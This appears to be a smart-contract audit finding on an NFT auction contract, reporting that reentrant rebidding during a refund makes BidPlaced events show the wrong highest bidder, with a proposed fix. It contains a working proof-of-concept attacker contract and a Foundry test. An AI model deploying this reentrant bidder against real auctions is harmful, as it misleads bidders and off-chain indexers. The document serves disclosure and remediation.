Reentrant rebid during refund emits BidPlaced for attacker first; outer emission for original bidder last, misleading databases parsing latest event as highest bid.
Deploys reentrant contract that rebids higher in receive. Funds initial bid by reentrant, then BIDDER_2 outbids expecting reentrant event first then BIDDER_2 last; asserts reentrant as true highest to show hidden winner.
event BidPlaced(uint256 tokenId, address bidder, uint256 amount);
contract ReentrantBidder {
BidBeastsNFTMarket public market;
uint256 public tokenId;
constructor(address _market, uint256 _tokenId) {
market = BidBeastsNFTMarket(_market);
tokenId = _tokenId;
}
receive() external payable {
BidBeastsNFTMarket.Bid memory bid = market.getHighestBid(tokenId);
uint256 requiredAmount = (bid.amount / 100) * (100 + market.S_MIN_BID_INCREMENT_PERCENTAGE());
if (bid.bidder != address(this) && address(this).balance >= requiredAmount) {
market.placeBid{value: requiredAmount}(tokenId);
}
}
function placeInitialBid() external payable {
market.placeBid{value: msg.value}(tokenId);
}
}
function testMisleadingFinalBidPlacedEvent() public {
_mintNFT();
_listNFT();
ReentrantBidder reentrant = new ReentrantBidder(address(market), TOKEN_ID);
vm.deal(address(reentrant), 5 ether);
vm.prank(address(reentrant));
reentrant.placeInitialBid{value: 1.1 ether}();
vm.deal(BIDDER_2, 1.25 ether);
vm.prank(BIDDER_2);
vm.expectEmit(true, true, false, true);
emit BidPlaced(TOKEN_ID, address(reentrant), 1.3125 ether);
vm.expectEmit(true, true, false, true);
emit BidPlaced(TOKEN_ID, BIDDER_2, 1.25 ether);
market.placeBid{value: 1.25 ether}(TOKEN_ID);
BidBeastsNFTMarket.Bid memory currentBid = market.getHighestBid(TOKEN_ID);
assertEq(currentBid.bidder, address(reentrant));
}
Moves BidPlaced emit before payout to fix order; removes duplicate after to show correct bidder sequence.
if (previousBidder != address(0)) {
+ emit BidPlaced(tokenId, msg.sender, msg.value); // Emit before payout
_payout(previousBidder, previousBidAmount);
}
-emit BidPlaced(tokenId, msg.sender, msg.value); // Remove